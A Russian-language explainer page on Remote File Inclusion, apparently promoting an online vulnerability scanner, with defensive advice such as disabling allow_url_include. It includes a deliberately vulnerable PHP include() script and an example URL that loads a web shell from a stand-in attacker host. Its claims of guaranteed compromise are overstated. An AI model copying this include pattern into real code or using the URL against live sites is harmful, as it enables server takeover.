RFI - Remote file include

Критическая уязвимость кода сайта. Максимальный уровень угрозы.

RFI Remote file include - это выполнение удаленного файла на сервере

RFI (Remote file include) является максимальной угрозой класса А1 по классификации OWASP


RFI Remote file include - это популярный и гарантированный способ взлома сайтов и веб приложений.

RFI - является одной из самых опасных уязвимостей.
Возможность выполнения удаленного файла на атакуемом сервере в 100% случаев приводит к взлому сайта.
Эксплуатируя RFI (Remote file include) уязвимость, злоумышленник получает доступ к серверу атакуемого сайта, размещая на нем веб-шеллы, или любой другой вредоносный код. В большинстве случаев, RFI сразу используется для получения веб-шелла на атакуемом сервере.

RFI - позволяет злоумышленнику выполнить удаленный файл, через скрипт, выполняемый на сервере. RFI возникает, когда входящие данные в коде сайта не проходят должную проверку.

Возможность эксплуатации RFI (Remote file include) возникает из-за грубейших ошибок разработки сайта, отсутствия фильтрации передающих параметров, отсутствие проверки серверного пути.

Пример уязвимого RFI (Remote file include) PHP скрипта:

Форма Файла http://vulnserver.com/vuln.html
<form метод="GET">
<select name="color">
<option color="red">красный</option>
<option color="blue">синий</option>
</select>
<input type="submit">
</form>

Файл http://vulnserver.com/vuln.php
<?
$color = "blue";
if (isset( $_GET[color] ) )
{
$color = $_GET[color];
include( $color . '.php' );
}
?>

Вызов скрипта:
http://vulnserver.com/
vuln.php?color=http://devil_site.com/shellcode.php

Результат:
Выполнение веб-шелла на атакуемом сервере.

Разработчик сайта предполагает в качестве опции использовать только свои файлы blue.php и red.php
Злоумышленник, воспользовавшись уязвимостью в коде сайта, выполняет свой файл (шелл - код) на сервере жертвы, со своего сервера, получая полный доступ к атакуемому сайту.

Нередко такой взлом сайта остается незамеченным для владельца и администратора ресурса (если целью взлома не был дефейс или уничтожение сайта).

Уязвимость RFI (Remote file include) на сайте - это максимальная угроза для его безопасности.


Защита от RFI Remote file include (выполнения удаленного файла на сервере

Фильтрация параметров, передающих данные в include(); include_once(); и т.д.
Отключение директивы allow_url_include в конфигурации php (если это возможно, и не нарушает работу сайта).
Проверка валидности запросов, серверного пути. Использование суперглобального массива $_SERVER.



Сканер уязвимостей сайтов онлайн Проверьте, наколько устойчив к взлому Ваш сайт